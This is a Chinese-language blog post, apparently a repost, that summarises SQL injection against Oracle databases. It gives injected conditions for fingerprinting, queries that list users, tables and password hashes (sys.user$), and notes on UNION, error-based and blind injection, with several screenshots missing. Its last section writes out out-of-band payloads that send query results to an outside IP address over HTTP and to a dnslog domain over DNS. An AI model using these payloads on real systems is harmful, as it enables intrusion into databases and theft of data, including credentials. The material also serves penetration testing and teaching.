SQL注入小结(Oracle)

栏目: 数据库 · Oracle · 发布时间: 5年前

内容简介:decode(条件,值1,值1结果,值2,值2结果,。。。值n,值n结果,默认值)条件和那个值相等就返回那个值的结果instr(字符串,子串)

0x00 判断数据库类型

  • Oracle有一些自带的表:dual、user_tables

    id=45 and (select count(*) from user_tables)>0--
    id=45 and (select count(*) from dual)>0--
    
  • 利用自带的一些函数:譬如utl_http.request 这些

  • 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49)

0x01 基本信息获取

  • 查看sid

    select instance_name from v$instance;
  • 查看数据库版本:

    select banner from v$version where rownum=1;
    select banner from sys.v_$version where rownum=1;
  • 查看用户:

    select user from dual; --当前用户
    select username from user_users; --当前用户
    select username from all_users; --查看所有用户
    select username from dba_users; --查看所有用户(需要有权限)
  • 查看当前用户角色:

    select role from session_roles;
  • 查看数据库用户名和密码:

    select name, password, astatus from sys.user$; --需要权限
  • 通过注入获取数据

    --列database
    select global_name from global_name;
    select sys.database_name from dual;
    select name from v$database;
    select instance_name from v$instance;
    --列owner
    select distinct owner from all_tables;
    --列owner的tables
    select table_name from all_tables where owner='UTEST';
    --列tables的columns
    select column_name from all_tab_columns where table_name='TUSER';
    select column_name from all_tab_cols where table_name='TUSER';
    
    
    --列tablespace
    select tablespace_name from user_tablespaces;
    --列tablespace的tables
    select table_name from user_tables where tablespace_name='DB_TEST_DATA';
    --列tables的columns
    select column_name from user_tab_columns where table_name='TUSER';

0x02 UNION query注入

  • 存在注入 SQL注入小结(Oracle)

  • 判断列数 SQL注入小结(Oracle) SQL注入小结(Oracle)

  • 尝试union select SQL注入小结(Oracle) 依次判断字段类型(下图判断出第二个字段是字符型) SQL注入小结(Oracle) SQL注入小结(Oracle)

  • 得到表名

    得到表的个数 SQL注入小结(Oracle) 得到第一个表的表名 SQL注入小结(Oracle) 得到第二个表的表名 SQL注入小结(Oracle)
  • 得到第一个表的字段 SQL注入小结(Oracle)

  • 得到第一个表的数据 SQL注入小结(Oracle)

0x03 error-based注入

  • ctxsys.drithsx.sn SQL注入小结(Oracle)

  • dbms_xdb_version.checkin SQL注入小结(Oracle)

  • dbms_xdb_version.makeversioned SQL注入小结(Oracle)

  • dbms_xdb_version.uncheckout SQL注入小结(Oracle)

  • dbms_utility.sqlid_to_sqlhash SQL注入小结(Oracle)

  • utl_inaddr.get_host_name(在11g以后需要是超级用户或已授予网络访问权限的用户才能使用) SQL注入小结(Oracle)

0x04 boolean-based blind注入

  • decode

decode(条件,值1,值1结果,值2,值2结果,。。。值n,值n结果,默认值)

条件和那个值相等就返回那个值的结果 SQL注入小结(Oracle) SQL注入小结(Oracle)

  • instr

instr(字符串,子串)

从一个字符串中查找指定子串的位置,这里一直将位置置为1 SQL注入小结(Oracle) SQL注入小结(Oracle) SQL注入小结(Oracle)

0x05 无回显注入

  • web服务接收结果

    select * from utest.msg where id=2 and 1=utl_http.request('http://59.108.35.198:8888/'||(select user from dual));
  • dns服务接收结果

    select * from utest.msg where id=2 and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog.wyb0.com') from dual) is not null;

Reference(侵删):


以上所述就是小编给大家介绍的《SQL注入小结(Oracle)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Spark SQL内核剖析

Spark SQL内核剖析

朱锋、张韶全、黄明 / 电子工业出版社 / 2018-8 / 69.00元

Spark SQL 是 Spark 技术体系中较有影响力的应用(Killer application),也是 SQL-on-Hadoop 解决方案 中举足轻重的产品。《Spark SQL内核剖析》由 11 章构成,从源码层面深入介绍 Spark SQL 内部实现机制,以及在实际业务场 景中的开发实践,其中包括 SQL 编译实现、逻辑计划的生成与优化、物理计划的生成与优化、Aggregation 算......一起来看看 《Spark SQL内核剖析》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具